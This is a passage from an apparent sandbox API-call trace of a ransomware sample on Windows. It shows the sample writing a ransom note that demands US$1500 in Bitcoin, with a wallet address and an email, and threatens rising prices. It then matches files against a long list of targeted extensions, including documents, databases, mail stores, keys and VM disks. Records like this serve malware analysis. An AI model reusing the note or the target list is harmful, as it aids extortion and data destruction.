lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.269] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.updatediagrootcause.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.269] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.updatediagrootcause.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.270] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.270] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.272] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.272] CloseHandle (hObject=0x90) returned 1 [0100.272] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll" [0100.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.ems") returned 0 [0100.272] lstrlenA (lpString="*.ems") returned 5 [0100.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.db") returned 0 [0100.272] lstrlenA (lpString="*.db") returned 4 [0100.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.dbf") returned 0 [0100.272] lstrlenA (lpString="*.dbf") returned 5 [0100.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.myox") returned 0 [0100.272] lstrlenA (lpString="*.myox") returned 6 [0100.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.myo") returned 0 [0100.272] lstrlenA (lpString="*.myo") returned 5 [0100.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.qbw") returned 0 [0100.273] lstrlenA (lpString="*.qbw") returned 5 [0100.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.qbb") returned 0 [0100.273] lstrlenA (lpString="*.qbb") returned 5 [0100.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.qbm") returned 0 [0100.273] lstrlenA (lpString="*.qbm") returned 5 [0100.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.qbo") returned 0 [0100.273] lstrlenA (lpString="*.qbo") returned 5 [0100.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.qbx") returned 0 [0100.273] lstrlenA (lpString="*.qbx") returned 5 [0100.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.qba") returned 0 [0100.273] lstrlenA (lpString="*.qba") returned 5 [0100.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.qby") returned 0 [0100.273] lstrlenA (lpString="*.qby") returned 5 [0100.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.qbj") returned 0 [0100.273] lstrlenA (lpString="*.qbj") returned 5 [0100.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.ofx") returned 0 [0100.273] lstrlenA (lpString="*.ofx") returned 5 [0100.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.qif") returned 0 [0100.274] lstrlenA (lpString="*.qif") returned 5 [0100.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.mye") returned 0 [0100.313] lstrlenA (lpString="*.mye") returned 5 [0100.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.mbox") returned 0 [0100.313] lstrlenA (lpString="*.mbox") returned 6 [0100.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.eml") returned 0 [0100.313] lstrlenA (lpString="*.eml") returned 5 [0100.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.pst") returned 0 [0100.313] lstrlenA (lpString="*.pst") returned 5 [0100.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.ost") returned 0 [0100.313] lstrlenA (lpString="*.ost") returned 5 [0100.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.idx") returned 0 [0100.313] lstrlenA (lpString="*.idx") returned 5 [0100.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.dbx") returned 0 [0100.313] lstrlenA (lpString="*.dbx") returned 5 [0100.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.sql") returned 0 [0100.313] lstrlenA (lpString="*.sql") returned 5 [0100.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.mdb") returned 0 [0100.313] lstrlenA (lpString="*.mdb") returned 5 [0100.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.fdb") returned 0 [0100.314] lstrlenA (lpString="*.fdb") returned 5 [0100.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.wab") returned 0 [0100.314] lstrlenA (lpString="*.wab") returned 5 [0100.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.dat") returned 0 [0100.314] lstrlenA (lpString="*.dat") returned 5 [0100.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.txt") returned 0 [0100.314] lstrlenA (lpString="*.txt") returned 5 [0100.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.jpeg") returned 0 [0100.314] lstrlenA (lpString="*.jpeg") returned 6 [0100.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.jpg") returned 0 [0100.314] lstrlenA (lpString="*.jpg") returned 5 [0100.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.png") returned 0 [0100.314] lstrlenA (lpString="*.png") returned 5 [0100.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.php") returned 0 [0100.314] lstrlenA (lpString="*.php") returned 5 [0100.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.cs") returned 0 [0100.314] lstrlenA (lpString="*.cs") returned 4 [0100.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.cpp") returned 0 [0100.314] lstrlenA (lpString="*.cpp") returned 5 [0100.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.rar") returned 0 [0100.315] lstrlenA (lpString="*.rar") returned 5 [0100.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.zip") returned 0 [0100.315] lstrlenA (lpString="*.zip") returned 5 [0100.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.html") returned 0 [0100.315] lstrlenA (lpString="*.html") returned 6 [0100.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.htm") returned 0 [0100.315] lstrlenA (lpString="*.htm") returned 5 [0100.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.xlsx") returned 0 [0100.315] lstrlenA (lpString="*.xlsx") returned 6 [0100.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.xls") returned 0 [0100.315] lstrlenA (lpString="*.xls") returned 5 [0100.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.mp4") returned 0 [0100.315] lstrlenA (lpString="*.mp4") returned 5 [0100.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.ppt") returned 0 [0100.315] lstrlenA (lpString="*.ppt") returned 5 [0100.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.pptx") returned 0 [0100.315] lstrlenA (lpString="*.pptx") returned 6 [0100.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.doc") returned 0 [0100.316] lstrlenA (lpString="*.doc") returned 5 [0100.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.dot") returned 0 [0100.316] lstrlenA (lpString="*.dot") returned 5 [0100.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.docx") returned 0 [0100.316] lstrlenA (lpString="*.docx") returned 6 [0100.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.7z") returned 0 [0100.316] lstrlenA (lpString="*.7z") returned 4 [0100.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.tar") returned 0 [0100.316] lstrlenA (lpString="*.tar") returned 5 [0100.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.bz2") returned 0 [0100.316] lstrlenA (lpString="*.bz2") returned 5 [0100.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.gz") returned 0 [0100.316] lstrlenA (lpString="*.gz") returned 4 [0100.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.mkv") returned 0 [0100.316] lstrlenA (lpString="*.mkv") returned 5 [0100.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.eml") returned 0 [0100.316] lstrlenA (lpString="*.eml") returned 5 [0100.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.msg") returned 0 [0100.316] lstrlenA (lpString="*.msg") returned 5 [0100.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.edb") returned 0 [0100.317] lstrlenA (lpString="*.edb") returned 5 [0100.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.accdb") returned 0 [0100.317] lstrlenA (lpString="*.accdb") returned 7 [0100.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.odb") returned 0 [0100.317] lstrlenA (lpString="*.odb") returned 5 [0100.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.java") returned 0 [0100.317] lstrlenA (lpString="*.java") returned 6 [0100.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.asm") returned 0 [0100.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.pfx") returned 0 [0100.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.pem") returned 0 [0100.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.p12") returned 0 [0100.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.gpg") returned 0 [0100.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.vsd") returned 0 [0100.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.odg") returned 0 [0100.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.raw") returned 0 [0100.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.nef") returned 0 [0100.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.svg") returned 0 [0100.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.psd") returned 0 [0100.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.vmx") returned 0 [0100.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.vmdk") returned 0 [0100.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.vdi") returned 0 [0100.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.lay6") returned 0 [0100.318] PathMatchSpecA 